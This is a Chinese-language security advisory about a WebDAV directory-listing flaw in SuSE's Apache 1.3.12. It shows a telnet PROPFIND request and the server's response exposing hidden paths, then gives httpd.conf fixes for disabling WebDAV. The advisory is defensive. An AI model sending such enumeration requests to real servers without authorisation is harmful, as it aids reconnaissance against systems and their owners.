SuSE Apache WebDAV 目录能被列表漏洞发布时间:2000-05-08 更新时间:2000-05-08 严重程度:中 威胁程度:服务器信息泄露 错误类型:设计错误 利用方式:服务器模式 受影响系统 Apache Group Apache 1.3.12详细描述 WebDAV (Web Distributed Authoring and Versioning是一个HTTP扩展可以允许 用户建立编辑和共享文档,一个特殊的请求REQUEST METHOD, PROPFIND,允许 用户获得一些资源信息,如显示名字,最后修改日期,等等。通过提交特殊的请求 还会列出一些目录信息。 测试代码 suse~: # telnet 127.0.0.1 80 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is "^]". PROPFIND / HTTP/1.1 Host: suse Content-Type: text/xml Content-Length: 110 <?xml version="1.0"?> <a:propfind xmlns:a="DAV:"> <a:prop> <a:displayname/> </a:prop> </a:propfind> HTTP/1.1 207 Multi-Status Date: Sun, 20 Aug 2000 17:38:58 GMT Server: Apache/1.3.12 (Unix) (SuSE/Linux) mod_fastcgi/2.2.2 DAV/0.9.14 mod_perl/1.21 PHP/3.0.15 Transfer-Encoding: chunked Content-Type: text/xml; charset="utf-8" dc1 <?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:"> <D:response> <D:href>/secret/secret/sql_tool.shtml</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/secret/secret/change-passwd.shtml</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/secret/secret/add-user.shmtl</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/secret/secret/</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/secret/</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/webalizer/</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/test.php3</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/date.php3</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/linbot/</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/robots.txt</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/index.html</D:href> <D:propstat> <D:prop> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> <D:response> <D:href>/gif/u_arrow.gif</D:href> <D:propstat> <D:prop> </D:prop> .. - ---cut----- 解决方案 在httpd.conf在下面的条目中增加下面的控制: <Directory /webdav/directory/goes/here> #add other directives as needed such as Order allow,deny <IfDefine DAV> DAV On </IfDefine> </Directory> 再启动APACHE. 要完全禁止WEBDAV,就在httpd.conf中找到下面的条目: <IfDefine DAV> DAV On </IfDefine> 把 "On" 改成 "Off". 默认情况下只有"/usr/local/httpd/htdocs"目录被ifDefine定义。但 也要修改其他目录 。 再启动APACHE 要在启动APACHE时不加载WEBDAV模块,编辑 /etc/rc.d/rc3.d/S20apache并注释掉下面的一行: test -e /usr/lib/apache/libdav.so && MODULES="-D DAV $MODULES" 相关信息 |